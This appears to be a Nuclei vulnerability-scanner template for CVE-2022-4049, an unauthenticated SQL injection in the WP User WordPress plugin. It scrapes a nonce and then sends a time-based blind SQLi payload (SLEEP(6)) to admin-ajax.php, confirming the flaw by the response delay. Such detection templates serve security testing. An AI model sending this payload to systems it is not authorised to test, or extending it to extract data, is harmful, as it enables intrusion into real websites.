id: CVE-2022-4049 info: name: WP User <= 7.0 - Unauthenticated SQLi author: theamanrawat severity: critical description: | The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users. reference: - https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be - https://wordpress.org/plugins/wp-user/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4049 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4049 cwe-id: CWE-89 epss-score: 0.03134 epss-percentile: 0.90041 cpe: cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:* metadata: verified: "true" max-request: 4 vendor: wp_user_project product: wp_user framework: wordpress publicwww-query: /wp-content/plugins/wp-user/ tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth,wp_user_project http: - raw: - | GET {{path}} HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM) attack: clusterbomb payloads: path: - "/index.php/user/" - "/user" stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - duration>=6 - status_code == 200 - contains(header_2, "text/html") - contains(body_2, 'Invalid Access') condition: and extractors: - type: regex name: nonce group: 1 regex: - '"wpuser_update_setting":"([0-9a-zA-Z]+)"' internal: true # digest: 4a0a004730450221009b7eabc7d97a187083f6b57803c25a2e4c9f65951d56eb4b66c7f0a3579be4e4022079c8c4f7fac3064e0b2b7c893dc73ece7cd8963ec34905cc9519814bf4c067d5:922c64590222798bb761d5b6d8e72950